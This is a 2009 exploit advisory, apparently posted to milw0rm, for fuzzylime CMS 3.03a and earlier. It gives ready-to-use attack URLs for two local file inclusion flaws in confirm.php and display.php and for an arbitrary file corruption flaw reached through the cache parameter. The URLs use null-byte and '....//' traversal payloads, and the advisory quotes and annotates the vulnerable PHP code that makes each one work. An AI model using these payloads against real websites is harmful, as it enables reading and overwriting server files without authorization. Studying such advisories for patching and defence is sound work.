+------------------------------------------------------------------------+
| fuzzylime cms <= 3.03a local inclusion / arbitrary file corruption poc |
+-----------+------------------------------------------------------------+
| by staker |
+-----------+---------------------+
| mail: staker[at]hotmail[dot]it |
| url: http://cms.fuzzylime.co.uk |
+---------------------------------+
[1][LFI]
http://[target]/[path]/code/confirm.php?e[]&list= { file + nullbyte }
Vulnerable code: confirm.php (local file inclusion mq=off)
-----------------------------------------------------------------
1. <?
2. @extract($HTTP_GET_VARS); <-------- {1}
3. @extract($_GET); <----------^
27. elseif(isset($e)) { <------- {2}
28. $filename = "code/mailing/$list.inc.php"; <------- {3}
29. @include $filename; <------- {4}
-----------------------------------------------------------------
1. extract() allows to overwrite any not-defined variable via get
therefore it works regardless of register_globals settings.
2. $e is a variable not defined,therefore become $_GET['e']
3. $list is a variable not defined,therefore become $_GET['list']
4. $filename contains $list variable that will be required
-----------------------------------------------------------------
[2][LFI]
http://[target]/[path]/code/display.php?template= {file + nullbyte}
Vulnerable code: display.php (local file inclusion mq=0 & reg=on)
--------------------------------------------------------------------
98. if($_GET['print'] != "1") include "templates/${template}_f.php";
--------------------------------------------------------------------
[3][LFC]
http://[target]/[path]/code/display.php?usecache=1&s=....//settings
http://[target]/[path]/code/display.php?usecache=1&s={file + nullbyte}(mq = off)
Vulnerable code: display.php (local file corruption register_gl=1)
-----------------------------------------------------------------
1. <?
2. $s = $_GET[s];
3. $p = $_GET[p];
4. $s = str_replace("../", "", $s); <---------- {1}
5. $p = str_replace("../", "", $p);
...
54. $cachefile = "cache/${s}_${p}_$_GET[m]_$_GET[c]_$_GET[t]_$_GET[u]_$_GET[print].cache.htm"; <---- {2}
100. if($usecache == "1" && $passprot != "1" && $s != "rss" && empty($_GET[msg]) && empty($_GET[tn])) { <--- {3}
101. if($handle = fopen($cachefile, 'w')) { // Create the cache file <-------- {4}
102. $output = ob_get_contents();
103. fputs($handle, $output);
104.
105. fclose($handle);
106. }
107. }
----------------------------------------------------------------------
1. you have to use ....// to change directory because of 1st point. so
....// will be ../
2. $cachefile contains $s variable
3. if $usecache == 1 we will go ahead
4. you will overwrite a file typing the name via $s variable.
-----------------------------------------------------------------------
[x] http://www.youtube.com/watch?v=h3DQmJOkSY0
# milw0rm.com [2009-06-17]
